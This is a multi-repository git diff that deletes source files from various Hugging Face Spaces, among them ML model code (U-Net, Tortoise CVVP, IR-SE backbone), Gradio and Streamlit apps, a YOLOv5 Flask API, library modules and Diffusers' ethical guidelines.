- # build decoder part - self.upsample_blocks = nn.ModuleList() - # avoiding having more blocks than skip connections - decoder_filters = decoder_filters[:len(self.shortcut_features)] - decoder_filters_in = [bb_out_chs] + list(decoder_filters[:-1]) - num_blocks = len(self.shortcut_features) - for i, [filters_in, filters_out] in enumerate(zip(decoder_filters_in, decoder_filters)): - self.upsample_blocks.append(UpsampleBlock(filters_in, filters_out, - skip_in=shortcut_chs[num_blocks-i-1], - parametric=parametric_upsampling, - use_bn=decoder_use_instancenorm)) - self.final_conv = nn.Conv2d( - decoder_filters[-1], classes, kernel_size=(1, 1)) - - if encoder_freeze: - self.freeze_encoder() - - def freeze_encoder(self): - """ Freezing encoder parameters, the newly initialized decoder parameters are remaining trainable. """ - - for param in self.backbone.parameters(): - param.requires_grad = False - - def forward(self, *input, ret_parser_out=True): - """ Forward propagation in U-Net. """ - - x, features = self.forward_backbone(*input) - output_feature = [x] - for skip_name, upsample_block in zip(self.shortcut_features[::-1], self.upsample_blocks): - skip_features = features[skip_name] - if skip_features is not None: - output_feature.append(skip_features) - if ret_parser_out: - x = upsample_block(x, skip_features) - if ret_parser_out: - x = self.final_conv(x) - # apply sigmoid later - else: - x = None - - return x, output_feature - - def forward_backbone(self, x): - """ Forward propagation in backbone encoder network. """ - - features = {None: None} if None in self.shortcut_features else dict() - for name, child in self.backbone.named_children(): - x = child(x) - if name in self.shortcut_features: - features[name] = x - if name == self.bb_out_name: - break - - return x, features - - def infer_skip_channels(self): - """ Getting the number of channels at skip connections and at the output of the encoder. """ - if self.backbone_name.find("-4") > 0: - x = torch.zeros(1, 4, 224, 224) - else: - x = torch.zeros(1, 3, 224, 224) - has_fullres_features = self.backbone_name.startswith( - 'vgg') or self.backbone_name == 'unet_encoder' - # only VGG has features at full resolution - channels = [] if has_fullres_features else [0] - - # forward run in backbone to count channels (dirty solution but works for *any* Module) - for name, child in self.backbone.named_children(): - x = child(x) - if name in self.shortcut_features: - channels.append(x.shape[1]) - if name == self.bb_out_name: - out_channels = x.shape[1] - break - return channels, out_channels diff --git a/spaces/niro-private/chatCSV/src/modules/layout.py b/spaces/niro-private/chatCSV/src/modules/layout.py deleted file mode 100644 index 1d25d8307b35d178c10adb6282b647ecff0ec82f..0000000000000000000000000000000000000000 --- a/spaces/niro-private/chatCSV/src/modules/layout.py +++ /dev/null @@ -1,57 +0,0 @@ -import streamlit as st - - -class Layout: - - def show_header_txt(self): - """ - Displays the header of the app - """ - # st.image('assets/Images/colleen-logo.png', width=400) - st.markdown( - """ -

            LedgerGPT by Colleen.AI, Talk with your ledger data! 💬

            - """, - unsafe_allow_html=True, - ) - - def show_header(self): - """ - Displays the header of the app - """ - st.markdown( - """ -

            ChatBot-CSV, Talk with your csv data! 💬

            - """, - unsafe_allow_html=True, - ) - - def show_api_key_missing(self): - """ - Displays a message if the user has not entered an API key - """ - st.markdown( - """ -
            -

            Enter your OpenAI API key to start chatting 😉

            -
            - """, - unsafe_allow_html=True, - ) - - def prompt_form(self): - """ - Displays the prompt form - """ - with st.form(key="my_form", clear_on_submit=True): - user_input = st.text_area( - "Query:", - placeholder="Ask me anything about the document...", - key="input", - label_visibility="collapsed", - ) - submit_button = st.form_submit_button(label="Send") - - is_ready = submit_button and user_input - return is_ready, user_input - diff --git a/spaces/nomic-ai/IlyaGusev_ru_turbo_alpaca/index.html b/spaces/nomic-ai/IlyaGusev_ru_turbo_alpaca/index.html deleted file mode 100644 index 66897e124ab0e698a80ecc412ca1270534edd914..0000000000000000000000000000000000000000 --- a/spaces/nomic-ai/IlyaGusev_ru_turbo_alpaca/index.html +++ /dev/null @@ -1,42 +0,0 @@ - - - - IlyaGusev/ru_turbo_alpaca - - - - -
            - -
            - - - \ No newline at end of file diff --git a/spaces/openaccess-ai-collective/ggml-ui/README.md b/spaces/openaccess-ai-collective/ggml-ui/README.md deleted file mode 100644 index c15a1e6a2928bc386e9a14e64a773d4a35923991..0000000000000000000000000000000000000000 --- a/spaces/openaccess-ai-collective/ggml-ui/README.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Ggml Ui -emoji: 🏃 -colorFrom: blue -colorTo: gray -sdk: gradio -sdk_version: 3.29.0 -app_file: tabbed.py -pinned: false ---- - -# GGML UI Inference w/ HuggingFace Spaces - -- Fork this space to use your own GGML models. Simply update the [./config.yml](./config.yml) -- Contribute at [https://github.com/OpenAccess-AI-Collective/ggml-webui](https://github.com/OpenAccess-AI-Collective/ggml-webui) - -Brought to you by [OpenAccess AI Collective](https://github.com/OpenAccess-AI-Collective) diff --git a/spaces/pablodawson/ldm3d-inpainting/diffuserslocal/docs/source/en/conceptual/ethical_guidelines.md b/spaces/pablodawson/ldm3d-inpainting/diffuserslocal/docs/source/en/conceptual/ethical_guidelines.md deleted file mode 100644 index 100a92152f000d6d2f05055735a385c6391152ce..0000000000000000000000000000000000000000 --- a/spaces/pablodawson/ldm3d-inpainting/diffuserslocal/docs/source/en/conceptual/ethical_guidelines.md +++ /dev/null @@ -1,51 +0,0 @@ -# 🧨 Diffusers’ Ethical Guidelines - -## Preamble - -[Diffusers](https://huggingface.co/docs/diffusers/index) provides pre-trained diffusion models and serves as a modular toolbox for inference and training. - -Given its real case applications in the world and potential negative impacts on society, we think it is important to provide the project with ethical guidelines to guide the development, users’ contributions, and usage of the Diffusers library. - -The risks associated with using this technology are still being examined, but to name a few: copyrights issues for artists; deep-fake exploitation; sexual content generation in inappropriate contexts; non-consensual impersonation; harmful social biases perpetuating the oppression of marginalized groups. -We will keep tracking risks and adapt the following guidelines based on the community's responsiveness and valuable feedback. - - -## Scope - -The Diffusers community will apply the following ethical guidelines to the project’s development and help coordinate how the community will integrate the contributions, especially concerning sensitive topics related to ethical concerns. - - -## Ethical guidelines - -The following ethical guidelines apply generally, but we will primarily implement them when dealing with ethically sensitive issues while making a technical choice. Furthermore, we commit to adapting those ethical principles over time following emerging harms related to the state of the art of the technology in question. - -- **Transparency**: we are committed to being transparent in managing PRs, explaining our choices to users, and making technical decisions. - -- **Consistency**: we are committed to guaranteeing our users the same level of attention in project management, keeping it technically stable and consistent. - -- **Simplicity**: with a desire to make it easy to use and exploit the Diffusers library, we are committed to keeping the project’s goals lean and coherent. - -- **Accessibility**: the Diffusers project helps lower the entry bar for contributors who can help run it even without technical expertise. Doing so makes research artifacts more accessible to the community. - -- **Reproducibility**: we aim to be transparent about the reproducibility of upstream code, models, and datasets when made available through the Diffusers library. - -- **Responsibility**: as a community and through teamwork, we hold a collective responsibility to our users by anticipating and mitigating this technology's potential risks and dangers. - - -## Examples of implementations: Safety features and Mechanisms - -The team works daily to make the technical and non-technical tools available to deal with the potential ethical and social risks associated with diffusion technology. Moreover, the community's input is invaluable in ensuring these features' implementation and raising awareness with us. - -- [**Community tab**](https://huggingface.co/docs/hub/repositories-pull-requests-discussions): it enables the community to discuss and better collaborate on a project. - -- **Bias exploration and evaluation**: the Hugging Face team provides a [space](https://huggingface.co/spaces/society-ethics/DiffusionBiasExplorer) to demonstrate the biases in Stable Diffusion interactively. In this sense, we support and encourage bias explorers and evaluations. - -- **Encouraging safety in deployment** - - - [**Safe Stable Diffusion**](https://huggingface.co/docs/diffusers/main/en/api/pipelines/stable_diffusion_safe): It mitigates the well-known issue that models, like Stable Diffusion, that are trained on unfiltered, web-crawled datasets tend to suffer from inappropriate degeneration. Related paper: [Safe Latent Diffusion: Mitigating Inappropriate Degeneration in Diffusion Models](https://arxiv.org/abs/2211.05105). - - - [**Safety Checker**](https://github.com/huggingface/diffusers/blob/main/src/diffusers/pipelines/stable_diffusion/safety_checker.py): It checks and compares the class probability of a set of hard-coded harmful concepts in the embedding space against an image after it has been generated. The harmful concepts are intentionally hidden to prevent reverse engineering of the checker. - -- **Staged released on the Hub**: in particularly sensitive situations, access to some repositories should be restricted. This staged release is an intermediary step that allows the repository’s authors to have more control over its use. - -- **Licensing**: [OpenRAILs](https://huggingface.co/blog/open_rail), a new type of licensing, allow us to ensure free access while having a set of restrictions that ensure more responsible use. diff --git a/spaces/perilli/tortoise-tts-v2/models/cvvp.py b/spaces/perilli/tortoise-tts-v2/models/cvvp.py deleted file mode 100644 index 0c9fd3500b38c126667b16bffd56f32ff89271a9..0000000000000000000000000000000000000000 --- a/spaces/perilli/tortoise-tts-v2/models/cvvp.py +++ /dev/null @@ -1,133 +0,0 @@ -import torch -import torch.nn as nn -import torch.nn.functional as F -from torch import einsum -from torch.utils.checkpoint import checkpoint - -from models.arch_util import AttentionBlock -from models.xtransformers import ContinuousTransformerWrapper, Encoder - - -def exists(val): - return val is not None - - -def masked_mean(t, mask): - t = t.masked_fill(~mask, 0.) - return t.sum(dim = 1) / mask.sum(dim = 1) - - -class CollapsingTransformer(nn.Module): - def __init__(self, model_dim, output_dims, heads, dropout, depth, mask_percentage=0, **encoder_kwargs): - super().__init__() - self.transformer = ContinuousTransformerWrapper( - max_seq_len=-1, - use_pos_emb=False, - attn_layers=Encoder( - dim=model_dim, - depth=depth, - heads=heads, - ff_dropout=dropout, - ff_mult=1, - attn_dropout=dropout, - use_rmsnorm=True, - ff_glu=True, - rotary_pos_emb=True, - **encoder_kwargs, - )) - self.pre_combiner = nn.Sequential(nn.Conv1d(model_dim, output_dims, 1), - AttentionBlock(output_dims, num_heads=heads, do_checkpoint=False), - nn.Conv1d(output_dims, output_dims, 1)) - self.mask_percentage = mask_percentage - - def forward(self, x, **transformer_kwargs): - h = self.transformer(x, **transformer_kwargs) - h = h.permute(0,2,1) - h = checkpoint(self.pre_combiner, h).permute(0,2,1) - if self.training: - mask = torch.rand_like(h.float()) > self.mask_percentage - else: - mask = torch.ones_like(h.float()).bool() - return masked_mean(h, mask) - - -class ConvFormatEmbedding(nn.Module): - def __init__(self, *args, **kwargs): - super().__init__() - self.emb = nn.Embedding(*args, **kwargs) - - def forward(self, x): - y = self.emb(x) - return y.permute(0,2,1) - - -class CVVP(nn.Module): - def __init__( - self, - model_dim=512, - transformer_heads=8, - dropout=.1, - conditioning_enc_depth=8, - cond_mask_percentage=0, - mel_channels=80, - mel_codes=None, - speech_enc_depth=8, - speech_mask_percentage=0, - latent_multiplier=1, - ): - super().__init__() - latent_dim = latent_multiplier*model_dim - self.temperature = nn.Parameter(torch.tensor(1.)) - - self.cond_emb = nn.Sequential(nn.Conv1d(mel_channels, model_dim//2, kernel_size=5, stride=2, padding=2), - nn.Conv1d(model_dim//2, model_dim, kernel_size=3, stride=2, padding=1)) - self.conditioning_transformer = CollapsingTransformer(model_dim, model_dim, transformer_heads, dropout, conditioning_enc_depth, cond_mask_percentage) - self.to_conditioning_latent = nn.Linear(latent_dim, latent_dim, bias=False) - - if mel_codes is None: - self.speech_emb = nn.Conv1d(mel_channels, model_dim, kernel_size=5, padding=2) - else: - self.speech_emb = ConvFormatEmbedding(mel_codes, model_dim) - self.speech_transformer = CollapsingTransformer(model_dim, latent_dim, transformer_heads, dropout, speech_enc_depth, speech_mask_percentage) - self.to_speech_latent = nn.Linear(latent_dim, latent_dim, bias=False) - - def get_grad_norm_parameter_groups(self): - return { - 'conditioning': list(self.conditioning_transformer.parameters()), - 'speech': list(self.speech_transformer.parameters()), - } - - def forward( - self, - mel_cond, - mel_input, - return_loss=False - ): - cond_emb = self.cond_emb(mel_cond).permute(0,2,1) - enc_cond = self.conditioning_transformer(cond_emb) - cond_latents = self.to_conditioning_latent(enc_cond) - - speech_emb = self.speech_emb(mel_input).permute(0,2,1) - enc_speech = self.speech_transformer(speech_emb) - speech_latents = self.to_speech_latent(enc_speech) - - - cond_latents, speech_latents = map(lambda t: F.normalize(t, p=2, dim=-1), (cond_latents, speech_latents)) - temp = self.temperature.exp() - - if not return_loss: - sim = einsum('n d, n d -> n', cond_latents, speech_latents) * temp - return sim - - sim = einsum('i d, j d -> i j', cond_latents, speech_latents) * temp - labels = torch.arange(cond_latents.shape[0], device=mel_input.device) - loss = (F.cross_entropy(sim, labels) + F.cross_entropy(sim.t(), labels)) / 2 - - return loss - - -if __name__ == '__main__': - clvp = CVVP() - clvp(torch.randn(2,80,100), - torch.randn(2,80,95), - return_loss=True) \ No newline at end of file diff --git a/spaces/peterwisu/lip_synthesis/app.py b/spaces/peterwisu/lip_synthesis/app.py deleted file mode 100644 index f0bcee76b2f8eff1aa11a4d5d8e2540481090f74..0000000000000000000000000000000000000000 --- a/spaces/peterwisu/lip_synthesis/app.py +++ /dev/null @@ -1,160 +0,0 @@ -# Gradio app - -import gradio as gr -import os -import argparse -from src.main.inference import Inference - -MODEL_TYPE = ['lstm','attn_lstm'] - -MODEL_NAME = { 'lstm':('./ckpt/pure_lstm.pth','lstm'), - 'lstm_syncnet' : ('./ckpt/lstm_syncnet.pth','lstm'), - 'attn_lstm_syncnet': ('./ckpt/attn_lstm.pth','attn_lstm')} - -print(MODEL_NAME.keys()) - -def func(video,audio,check,drop_down): - - path , model_type = MODEL_NAME[drop_down] - - print(path) - - print(model_type) - - parser = argparse.ArgumentParser(description="File for running Inference") - - parser.add_argument('--model_type', help='Type of generator model', default=model_type, type=str) - - parser.add_argument('--generator_checkpoint', type=str ,default=path) - - parser.add_argument('--image2image_checkpoint', type=str, default='./ckpt/image2image.pth',required=False) - - parser.add_argument('--input_face', type=str,default=video, required=False) - - parser.add_argument('--input_audio', type=str, default=audio, required=False) - - # parser.add_argument('--output_path', type=str, help="Path for saving the result", default='result.mp4', required=False) - - parser.add_argument('--fps', type=float, default=25,required=False) - - parser.add_argument('--fl_detector_batchsize', type=int , default = 2) - - parser.add_argument('--generator_batchsize', type=int, default=2) - - parser.add_argument('--output_name', type=str , default="results.mp4") - - - parser.add_argument('--only_fl', type=bool , default=False) - - parser.add_argument('--vis_fl', type=bool, default=check) - - parser.add_argument('--test_img2img', type=bool, help="Testing image2image module with no lip generation" , default=False) - - args = parser.parse_args() - - - Inference(args=args).start() - - - return './results.mp4' - - - -def gui(): - with gr.Blocks() as video_tab: - - with gr.Row(): - - with gr.Column(): - video = gr.Video().style() - - audio = gr.Audio(source="upload", type="filepath") - - with gr.Column(): - outputs = gr.PlayableVideo() - - - - with gr.Row(): - - - with gr.Column(): - - check_box = gr.Checkbox(value=False,label="Do you want to visualize reconstructed facial landmark??") - - - drop_down = gr.Dropdown(list(MODEL_NAME.keys()), label="Select Model") - - with gr.Row(): - with gr.Column(): - - inputs = [video,audio,check_box,drop_down] - gr.Button("Sync").click( - - fn=func, - inputs=inputs, - outputs=outputs - ) - - - - - with gr.Blocks() as image_tab: - - - with gr.Row(): - - with gr.Column(): - video = gr.Image(type="filepath") - - audio = gr.Audio(source="upload", type="filepath") - - - - with gr.Column(): - outputs = gr.PlayableVideo() - - - with gr.Row(): - - with gr.Column(): - - check_box = gr.Checkbox(value=False,label="Do you want to visualize reconstructed facial landmark??") - - drop_down = gr.Dropdown(list(MODEL_NAME.keys()), label="Select Model") - - with gr.Row(): - with gr.Column(): - - inputs = [video,audio,check_box,drop_down] - gr.Button("Sync").click( - - fn=func, - inputs=inputs, - outputs=outputs - ) - - - - with gr.Blocks() as main: - - gr.Markdown( - """ - # Audio-Visual Lip Synthesis! - - ### Creator : Wish Suharitdamrong - - - Start typing below to see the output. - """ - ) - gui = gr.TabbedInterface([video_tab,image_tab],['Using Video as input','Using Image as input']) - - - main.launch() - - - - -if __name__ == "__main__": - gui() diff --git a/spaces/phyloforfun/VoucherVision/vouchervision/component_detector/utils/flask_rest_api/restapi.py b/spaces/phyloforfun/VoucherVision/vouchervision/component_detector/utils/flask_rest_api/restapi.py deleted file mode 100644 index 7e7b900107b5055e1e94d4a02748e55e6bdc4827..0000000000000000000000000000000000000000 --- a/spaces/phyloforfun/VoucherVision/vouchervision/component_detector/utils/flask_rest_api/restapi.py +++ /dev/null @@ -1,46 +0,0 @@ -# YOLOv5 🚀 by Ultralytics, GPL-3.0 license -""" -Run a Flask REST API exposing a YOLOv5s model -""" - -import argparse -import io - -import torch -from flask import Flask, request -from PIL import Image - -app = Flask(__name__) - -DETECTION_URL = "/v1/object-detection/yolov5s" - - -@app.route(DETECTION_URL, methods=["POST"]) -def predict(): - if not request.method == "POST": - return - - if request.files.get("image"): - # Method 1 - # with request.files["image"] as f: - # im = Image.open(io.BytesIO(f.read())) - - # Method 2 - im_file = request.files["image"] - im_bytes = im_file.read() - im = Image.open(io.BytesIO(im_bytes)) - - results = model(im, size=640) # reduce size=320 for faster inference - return results.pandas().xyxy[0].to_json(orient="records") - - -if __name__ == "__main__": - parser = argparse.ArgumentParser(description="Flask API exposing YOLOv5 model") - parser.add_argument("--port", default=5000, type=int, help="port number") - opt = parser.parse_args() - - # Fix known issue urllib.error.HTTPError 403: rate limit exceeded https://github.com/ultralytics/yolov5/pull/7210 - torch.hub._validate_not_a_forked_repo = lambda a, b, c: True - - model = torch.hub.load("ultralytics/yolov5", "yolov5s", force_reload=True) # force_reload to recache - app.run(host="0.0.0.0", port=opt.port) # debug=True causes Restarting with stat diff --git a/spaces/pixiou/bingo/src/components/chat-attachments.tsx b/spaces/pixiou/bingo/src/components/chat-attachments.tsx deleted file mode 100644 index ef43d4e262935d263b6099138c56f7daade5299d..0000000000000000000000000000000000000000 --- a/spaces/pixiou/bingo/src/components/chat-attachments.tsx +++ /dev/null @@ -1,37 +0,0 @@ -import Image from 'next/image' -import ClearIcon from '@/assets/images/clear.svg' -import RefreshIcon from '@/assets/images/refresh.svg' -import { FileItem } from '@/lib/bots/bing/types' -import { cn } from '@/lib/utils' -import { useBing } from '@/lib/hooks/use-bing' - -type ChatAttachmentsProps = Pick, 'attachmentList' | 'setAttachmentList' | 'uploadImage'> - -export function ChatAttachments({ attachmentList = [], setAttachmentList, uploadImage }: ChatAttachmentsProps) { - return attachmentList.length ? ( -
            - {attachmentList.map(file => ( -
            - {file.status === 'loading' && ( -
            -
            -
            ) - } - {file.status !== 'error' && ( -
            - -
            ) - } - {file.status === 'error' && ( -
            - refresh uploadImage(file.url)} /> -
            - )} - -
            - ))} -
            - ) : null -} diff --git a/spaces/pknez/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/pygments/token.py b/spaces/pknez/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/pygments/token.py deleted file mode 100644 index 7395cb6a620b4d6d4cf5f026d85639cebb137a9d..0000000000000000000000000000000000000000 --- a/spaces/pknez/face-swap-docker/mynewshinyroop/Lib/site-packages/pip/_vendor/pygments/token.py +++ /dev/null @@ -1,213 +0,0 @@ -""" - pygments.token - ~~~~~~~~~~~~~~ - - Basic token types and the standard tokens. - - :copyright: Copyright 2006-2023 by the Pygments team, see AUTHORS. - :license: BSD, see LICENSE for details. -""" - - -class _TokenType(tuple): - parent = None - - def split(self): - buf = [] - node = self - while node is not None: - buf.append(node) - node = node.parent - buf.reverse() - return buf - - def __init__(self, *args): - # no need to call super.__init__ - self.subtypes = set() - - def __contains__(self, val): - return self is val or ( - type(val) is self.__class__ and - val[:len(self)] == self - ) - - def __getattr__(self, val): - if not val or not val[0].isupper(): - return tuple.__getattribute__(self, val) - new = _TokenType(self + (val,)) - setattr(self, val, new) - self.subtypes.add(new) - new.parent = self - return new - - def __repr__(self): - return 'Token' + (self and '.' or '') + '.'.join(self) - - def __copy__(self): - # These instances are supposed to be singletons - return self - - def __deepcopy__(self, memo): - # These instances are supposed to be singletons - return self - - -Token = _TokenType() - -# Special token types -Text = Token.Text -Whitespace = Text.Whitespace -Escape = Token.Escape -Error = Token.Error -# Text that doesn't belong to this lexer (e.g. HTML in PHP) -Other = Token.Other - -# Common token types for source code -Keyword = Token.Keyword -Name = Token.Name -Literal = Token.Literal -String = Literal.String -Number = Literal.Number -Punctuation = Token.Punctuation -Operator = Token.Operator -Comment = Token.Comment - -# Generic types for non-source code -Generic = Token.Generic - -# String and some others are not direct children of Token. -# alias them: -Token.Token = Token -Token.String = String -Token.Number = Number - - -def is_token_subtype(ttype, other): - """ - Return True if ``ttype`` is a subtype of ``other``. - - exists for backwards compatibility. use ``ttype in other`` now. - """ - return ttype in other - - -def string_to_tokentype(s): - """ - Convert a string into a token type:: - - >>> string_to_token('String.Double') - Token.Literal.String.Double - >>> string_to_token('Token.Literal.Number') - Token.Literal.Number - >>> string_to_token('') - Token - - Tokens that are already tokens are returned unchanged: - - >>> string_to_token(String) - Token.Literal.String - """ - if isinstance(s, _TokenType): - return s - if not s: - return Token - node = Token - for item in s.split('.'): - node = getattr(node, item) - return node - - -# Map standard token types to short names, used in CSS class naming. -# If you add a new item, please be sure to run this file to perform -# a consistency check for duplicate values. -STANDARD_TYPES = { - Token: '', - - Text: '', - Whitespace: 'w', - Escape: 'esc', - Error: 'err', - Other: 'x', - - Keyword: 'k', - Keyword.Constant: 'kc', - Keyword.Declaration: 'kd', - Keyword.Namespace: 'kn', - Keyword.Pseudo: 'kp', - Keyword.Reserved: 'kr', - Keyword.Type: 'kt', - - Name: 'n', - Name.Attribute: 'na', - Name.Builtin: 'nb', - Name.Builtin.Pseudo: 'bp', - Name.Class: 'nc', - Name.Constant: 'no', - Name.Decorator: 'nd', - Name.Entity: 'ni', - Name.Exception: 'ne', - Name.Function: 'nf', - Name.Function.Magic: 'fm', - Name.Property: 'py', - Name.Label: 'nl', - Name.Namespace: 'nn', - Name.Other: 'nx', - Name.Tag: 'nt', - Name.Variable: 'nv', - Name.Variable.Class: 'vc', - Name.Variable.Global: 'vg', - Name.Variable.Instance: 'vi', - Name.Variable.Magic: 'vm', - - Literal: 'l', - Literal.Date: 'ld', - - String: 's', - String.Affix: 'sa', - String.Backtick: 'sb', - String.Char: 'sc', - String.Delimiter: 'dl', - String.Doc: 'sd', - String.Double: 's2', - String.Escape: 'se', - String.Heredoc: 'sh', - String.Interpol: 'si', - String.Other: 'sx', - String.Regex: 'sr', - String.Single: 's1', - String.Symbol: 'ss', - - Number: 'm', - Number.Bin: 'mb', - Number.Float: 'mf', - Number.Hex: 'mh', - Number.Integer: 'mi', - Number.Integer.Long: 'il', - Number.Oct: 'mo', - - Operator: 'o', - Operator.Word: 'ow', - - Punctuation: 'p', - Punctuation.Marker: 'pm', - - Comment: 'c', - Comment.Hashbang: 'ch', - Comment.Multiline: 'cm', - Comment.Preproc: 'cp', - Comment.PreprocFile: 'cpf', - Comment.Single: 'c1', - Comment.Special: 'cs', - - Generic: 'g', - Generic.Deleted: 'gd', - Generic.Emph: 'ge', - Generic.Error: 'gr', - Generic.Heading: 'gh', - Generic.Inserted: 'gi', - Generic.Output: 'go', - Generic.Prompt: 'gp', - Generic.Strong: 'gs', - Generic.Subheading: 'gu', - Generic.Traceback: 'gt', -} diff --git a/spaces/power2/JoJoGan-powerhow2/e4e/models/encoders/model_irse.py b/spaces/power2/JoJoGan-powerhow2/e4e/models/encoders/model_irse.py deleted file mode 100644 index 6a94d67542f961ff6533f0335cf4cb0fa54024fb..0000000000000000000000000000000000000000 --- a/spaces/power2/JoJoGan-powerhow2/e4e/models/encoders/model_irse.py +++ /dev/null @@ -1,84 +0,0 @@ -from torch.nn import Linear, Conv2d, BatchNorm1d, BatchNorm2d, PReLU, Dropout, Sequential, Module -from e4e.models.encoders.helpers import get_blocks, Flatten, bottleneck_IR, bottleneck_IR_SE, l2_norm - -""" -Modified Backbone implementation from [TreB1eN](https://github.com/TreB1eN/InsightFace_Pytorch) -""" - - -class Backbone(Module): - def __init__(self, input_size, num_layers, mode='ir', drop_ratio=0.4, affine=True): - super(Backbone, self).__init__() - assert input_size in [112, 224], "input_size should be 112 or 224" - assert num_layers in [50, 100, 152], "num_layers should be 50, 100 or 152" - assert mode in ['ir', 'ir_se'], "mode should be ir or ir_se" - blocks = get_blocks(num_layers) - if mode == 'ir': - unit_module = bottleneck_IR - elif mode == 'ir_se': - unit_module = bottleneck_IR_SE - self.input_layer = Sequential(Conv2d(3, 64, (3, 3), 1, 1, bias=False), - BatchNorm2d(64), - PReLU(64)) - if input_size == 112: - self.output_layer = Sequential(BatchNorm2d(512), - Dropout(drop_ratio), - Flatten(), - Linear(512 * 7 * 7, 512), - BatchNorm1d(512, affine=affine)) - else: - self.output_layer = Sequential(BatchNorm2d(512), - Dropout(drop_ratio), - Flatten(), - Linear(512 * 14 * 14, 512), - BatchNorm1d(512, affine=affine)) - - modules = [] - for block in blocks: - for bottleneck in block: - modules.append(unit_module(bottleneck.in_channel, - bottleneck.depth, - bottleneck.stride)) - self.body = Sequential(*modules) - - def forward(self, x): - x = self.input_layer(x) - x = self.body(x) - x = self.output_layer(x) - return l2_norm(x) - - -def IR_50(input_size): - """Constructs a ir-50 model.""" - model = Backbone(input_size, num_layers=50, mode='ir', drop_ratio=0.4, affine=False) - return model - - -def IR_101(input_size): - """Constructs a ir-101 model.""" - model = Backbone(input_size, num_layers=100, mode='ir', drop_ratio=0.4, affine=False) - return model - - -def IR_152(input_size): - """Constructs a ir-152 model.""" - model = Backbone(input_size, num_layers=152, mode='ir', drop_ratio=0.4, affine=False) - return model - - -def IR_SE_50(input_size): - """Constructs a ir_se-50 model.""" - model = Backbone(input_size, num_layers=50, mode='ir_se', drop_ratio=0.4, affine=False) - return model - - -def IR_SE_101(input_size): - """Constructs a ir_se-101 model.""" - model = Backbone(input_size, num_layers=100, mode='ir_se', drop_ratio=0.4, affine=False) - return model - - -def IR_SE_152(input_size): - """Constructs a ir_se-152 model.""" - model = Backbone(input_size, num_layers=152, mode='ir_se', drop_ratio=0.4, affine=False) - return model diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/anyio/streams/text.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/anyio/streams/text.py deleted file mode 100644 index bba2d3f7dfffa3bdbf921bdad4ca7143be97c2fd..0000000000000000000000000000000000000000 --- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/anyio/streams/text.py +++ /dev/null @@ -1,143 +0,0 @@ -from __future__ import annotations - -import codecs -from dataclasses import InitVar, dataclass, field -from typing import Any, Callable, Mapping - -from ..abc import ( - AnyByteReceiveStream, - AnyByteSendStream, - AnyByteStream, - ObjectReceiveStream, - ObjectSendStream, - ObjectStream, -) - - -@dataclass(eq=False) -class TextReceiveStream(ObjectReceiveStream[str]): - """ - Stream wrapper that decodes bytes to strings using the given encoding. - - Decoding is done using :class:`~codecs.IncrementalDecoder` which returns any completely - received unicode characters as soon as they come in. - - :param transport_stream: any bytes-based receive stream - :param encoding: character encoding to use for decoding bytes to strings (defaults to - ``utf-8``) - :param errors: handling scheme for decoding errors (defaults to ``strict``; see the - `codecs module documentation`_ for a comprehensive list of options) - - .. _codecs module documentation: https://docs.python.org/3/library/codecs.html#codec-objects - """ - - transport_stream: AnyByteReceiveStream - encoding: InitVar[str] = "utf-8" - errors: InitVar[str] = "strict" - _decoder: codecs.IncrementalDecoder = field(init=False) - - def __post_init__(self, encoding: str, errors: str) -> None: - decoder_class = codecs.getincrementaldecoder(encoding) - self._decoder = decoder_class(errors=errors) - - async def receive(self) -> str: - while True: - chunk = await self.transport_stream.receive() - decoded = self._decoder.decode(chunk) - if decoded: - return decoded - - async def aclose(self) -> None: - await self.transport_stream.aclose() - self._decoder.reset() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return self.transport_stream.extra_attributes - - -@dataclass(eq=False) -class TextSendStream(ObjectSendStream[str]): - """ - Sends strings to the wrapped stream as bytes using the given encoding. - - :param AnyByteSendStream transport_stream: any bytes-based send stream - :param str encoding: character encoding to use for encoding strings to bytes (defaults to - ``utf-8``) - :param str errors: handling scheme for encoding errors (defaults to ``strict``; see the - `codecs module documentation`_ for a comprehensive list of options) - - .. _codecs module documentation: https://docs.python.org/3/library/codecs.html#codec-objects - """ - - transport_stream: AnyByteSendStream - encoding: InitVar[str] = "utf-8" - errors: str = "strict" - _encoder: Callable[..., tuple[bytes, int]] = field(init=False) - - def __post_init__(self, encoding: str) -> None: - self._encoder = codecs.getencoder(encoding) - - async def send(self, item: str) -> None: - encoded = self._encoder(item, self.errors)[0] - await self.transport_stream.send(encoded) - - async def aclose(self) -> None: - await self.transport_stream.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return self.transport_stream.extra_attributes - - -@dataclass(eq=False) -class TextStream(ObjectStream[str]): - """ - A bidirectional stream that decodes bytes to strings on receive and encodes strings to bytes on - send. - - Extra attributes will be provided from both streams, with the receive stream providing the - values in case of a conflict. - - :param AnyByteStream transport_stream: any bytes-based stream - :param str encoding: character encoding to use for encoding/decoding strings to/from bytes - (defaults to ``utf-8``) - :param str errors: handling scheme for encoding errors (defaults to ``strict``; see the - `codecs module documentation`_ for a comprehensive list of options) - - .. _codecs module documentation: https://docs.python.org/3/library/codecs.html#codec-objects - """ - - transport_stream: AnyByteStream - encoding: InitVar[str] = "utf-8" - errors: InitVar[str] = "strict" - _receive_stream: TextReceiveStream = field(init=False) - _send_stream: TextSendStream = field(init=False) - - def __post_init__(self, encoding: str, errors: str) -> None: - self._receive_stream = TextReceiveStream( - self.transport_stream, encoding=encoding, errors=errors - ) - self._send_stream = TextSendStream( - self.transport_stream, encoding=encoding, errors=errors - ) - - async def receive(self) -> str: - return await self._receive_stream.receive() - - async def send(self, item: str) -> None: - await self._send_stream.send(item) - - async def send_eof(self) -> None: - await self.transport_stream.send_eof() - - async def aclose(self) -> None: - await self._send_stream.aclose() - await self._receive_stream.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return { - **self._send_stream.extra_attributes, - **self._receive_stream.extra_attributes, - } diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/dateutil/tz/_factories.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/dateutil/tz/_factories.py deleted file mode 100644 index 